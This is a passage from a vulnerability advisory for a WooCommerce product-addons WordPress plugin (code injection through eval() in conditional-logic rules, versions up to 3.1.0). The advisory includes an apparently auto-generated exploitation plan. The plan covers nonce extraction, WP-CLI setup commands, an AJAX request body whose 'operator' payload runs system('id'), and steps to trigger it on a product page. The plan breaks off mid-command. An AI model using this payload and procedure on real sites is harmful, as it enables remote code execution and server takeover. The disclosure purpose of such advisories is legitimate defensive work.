Product Addons for Woocommerce – Product Options with Custom Fields <= 3.1.0 - Authenticated (Shop Manager+) Code Injection via Conditional Logic 'operator' Parameter
Description
The Product Addons for Woocommerce – Product Options with Custom Fields plugin for WordPress is vulnerable to Code Injection in all versions up to, and including, 3.1.0. This is due to insufficient input validation of the 'operator' field in conditional logic rules within the evalConditions() function, which passes unsanitized user input directly to PHP's eval() function. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject and execute arbitrary PHP code on the server via the conditional logic 'operator' parameter when saving addon form field rules.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=3.1.0What Changed in the Fix
Changes introduced in v3.1.1
Source Code
WordPress.org SVN# Research Plan: CVE-2026-2296 - Code Injection in Product Addons for WooCommerce ## Vulnerability Summary The **Product Addons for Woocommerce – Product Options with Custom Fields** plugin (versions <= 3.1.0) is vulnerable to authenticated Code Injection via the `evalConditions()` function in `inc…
Show full research plan
Research Plan: CVE-2026-2296 - Code Injection in Product Addons for WooCommerce
Vulnerability Summary
The Product Addons for Woocommerce – Product Options with Custom Fields plugin (versions <= 3.1.0) is vulnerable to authenticated Code Injection via the evalConditions() function in includes/process/conditional-logic.php. The vulnerability exists because the $rule->operator and $relation->operator parameters, which are part of the conditional logic rules for form fields, are concatenated directly into a string that is subsequently executed via PHP's eval() function.
An attacker with Shop Manager or Administrator privileges can save a custom form containing malicious PHP code in the conditional logic operator. When the form is processed (e.g., when viewing a product assigned that form), the injected code is executed on the server.
Attack Vector Analysis
- Vulnerable Endpoint:
admin-ajax.php(for saving the form) and the frontend Product page (for triggering execution). - AJAX Action:
wcpa_save_form(inferred from plugin architecture). - Vulnerable Parameter: The
operatorfield within therelations/rulesJSON structure of a form field. - Authentication: Required (Shop Manager or Administrator).
- Preconditions:
- The attacker must create/edit a WCPA form.
- The form must be assigned to at least one active WooCommerce product.
Code Flow
- Source: A Shop Manager saves a form via an AJAX request. The
operatorparameter is stored in the database as part of the form's field configuration (likely in thewp_poststable underwcpa_pt_formspost type). - Sink:
includes/process/conditional-logic.php->evalConditions($clRule, $relations) - Execution Path:
evalConditionsiterates through$relations.- For each
$relation, it iterates through$relation->rules. - It builds a string
$eval_str. - Inside the loop:
$eval_str .= ') ' . (($rule->operator !== false) ? $rule->operator : '') . ' '; - A regex
preg_match_all('/\(.*\)/', $eval_str, $match)is used to "clean" the string, but a greedy match.*allows injected code to remain if it is surrounded by parentheses or concatenated properly. - Finally:
$result = eval('return ' . $eval_str . ';');
Nonce Acquisition Strategy
The WCPA admin interface uses a nonce for its AJAX operations.
- Identify Script: The nonce is typically localized in the
wcpa_adminorwcpa_dataobject on the plugin's admin page. - Page:
/wp-admin/admin.php?page=wcpa-admin-ui - Extraction:
- Use
browser_navigateto go to the WCPA UI. - Use
browser_evalto extract the nonce:window.wcpa_admin?.nonce(or check forwindow.wcpa_local_vars?.nonce). - Note: The nonce action is usually linked to the AJAX save action.
- Use
Exploitation Strategy
Step 1: Create a Shop Manager and Product
Use WP-CLI to set up the environment.
wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
wp post create --post_type=product --post_title="Target Product" --post_status=publish
Step 2: Create a Malicious WCPA Form
We need to create a wcpa_pt_forms post and then use the AJAX endpoint to save its configuration with the payload.
AJAX Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Body (URL-encoded):
action:wcpa_save_formnonce:[EXTRACTED_NONCE]form_json: A JSON string containing the field with the payload.
- Payload Injection:
The payload must break the boolean expression logic while remaining within the greedy regex match.operator:.die(system('id')).
Example
form_jsonstructure:{ "fields": [ [ { "type": "text", "label": "Exploit Field", "elementId": "field_1", "cl_rule": "show", "relations": [ { "rules": [ { "rules": {}, "operator": ".die(system('id'))." }, { "rules": {}, "operator": "" } ], "operator": "and" } ] } ] ] }Note:
eval_relation({})returnstrueif nocl_fieldis specified, allowing the code path to reach the operator concatenation.- URL:
Step 3: Link Form to Product
Use WP-CLI to link the newly created form to the target product.
# Get the form ID from the previous step's response
# Link via meta (WCPA stores form IDs as a serialized array in _wcpa_product_meta)
wp post meta set [PRODUCT_ID] _wcpa_product_meta 'a:1:{i:0;s:[ID_LEN]:"[FORM_ID]";}'
Step 4: Trigger Execution
Navigate to the product page.
- URL:
http://localhost:8080/?p=[PRODUCT_ID] - Method:
GET - Expected Response: The page should terminate immediately and display the output of the
idcommand (e.g.,uid=33(www-data)...) due to thedie()in the payload.
Test Data Setup
- Target Product:
wp post create --post_type=product --post_title="Victim Product" --post_status=publish - Shop Manager User: `wp user create manager manager@
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.